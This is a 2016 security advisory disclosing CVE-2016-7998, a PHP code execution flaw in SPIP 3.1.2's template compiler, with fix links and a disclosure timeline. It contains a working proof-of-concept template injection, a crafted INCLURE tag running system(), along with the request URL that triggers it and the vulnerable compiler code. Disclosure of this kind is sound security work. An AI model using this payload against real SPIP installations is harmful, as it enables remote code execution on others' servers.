SPIP 3.1.2 Template Compiler / Composer PHP Code Execution
Posted on 20 October 2016
## SPIP 3.1.2 Template Compiler/Composer PHP Code Execution (CVE-2016-7998) ### Product Description SPIP is a publishing system for the Internet, which put importance on collaborative working, multilingual environments and ease of use. It is free software, distributed under the GNU/GPL licence. ### Vulnerability Description The SPIP template composer/compiler does not correctly handle SPIP "INCLUDE/INCLURE" Tags, allowing PHP code execution by an authenticated user. This vulnerability can be exploited using the CSRF or the XSS vulnerability also found in this advisory. **Access Vector**: remote **Security Risk**: critical **Vulnerability**: CWE-94 **CVSS Base Score**: 9.1 (Critical) **CVE-ID**: CVE-2016-7998 ### Proof of Concept Store a `.html` file in a random directory with the following content : <INCLURE(xxx"));}system("touch /tmp/exploited");/*)> Then you can access to the following URL, with the `var_url` paramater pointing to the path corresponding to your uploaded file: http://spip-dev.srv/ecrire/?exec=valider_xml&var_url=file:///tmp/directory&ext=html The PHP code `system("touch /tmp/exploited");` will be executed after 2 requests. This happens because the template file is included (if already compiled) by `ecrire/public/composer.php`, line 60 : if (!squelette_obsolete($phpfile, $source)) { include_once $phpfile; and because we can "exit" the function generated by the template compiler (improper sanitization when generating argumenter_squelette): function html_xxxx($Cache, $Pile, $doublons = array(), $Numrows = array(), $SP = 0) { if (isset($Pile[0]["doublons"]) AND is_array($Pile[0]["doublons"])) $doublons = nettoyer_env_doublons($Pile[0]["doublons"]); $connect = ''; $page = ( '<'.'?php echo recuperer_fond( ' . argumenter_squelette("xxx"));}system("touch /tmp/exploited");/*") . ', array('lang' => ' . argumenter_squelette($GLOBALS["spip_lang"]) . '), array("compil"=>array('/tmp/exploit.html','html_xxxx','',1,$GLOBALS['spip_lang'])), _request("connect")); ?'.'> '); return analyse_resultat_skel('html_xxxx', $Cache, $page, '/tmp/exploit.html'); } Therefore, the vulnerability leads to arbitrary PHP code execution. ### Vulnerable code The vulnerable code is located in the `argumenter_inclure` function (`ecrire/public/compiler.php`), line 123. if ($var !== 1) { $val = ($echap ? "'$var' => ' . argumenter_squelette(" : "'$var' => ") . $val . ($echap ? ") . '" : " "); } ### Timeline (dd/mm/yyyy) * 15/09/2016 : Initial discovery * 26/09/2016 : Contact with SPIP Team * 27/09/2016 : Answer from SPIP Team, sent advisory details * 27/09/2016 : Fixes issued for PHP Code Execution * 30/09/2016 : SPIP 3.1.3 Released ### Fixes * https://core.spip.net/projects/spip/repository/revisions/23186 * https://core.spip.net/projects/spip/repository/revisions/23189 * https://core.spip.net/projects/spip/repository/revisions/23192 ### Affected versions * Version <= 3.1.2 ### Credits * Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com) -- SYSDREAM Labs <labs@sysdream.com> GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 * Website: https://sysdream.com/ * Twitter: @sysdream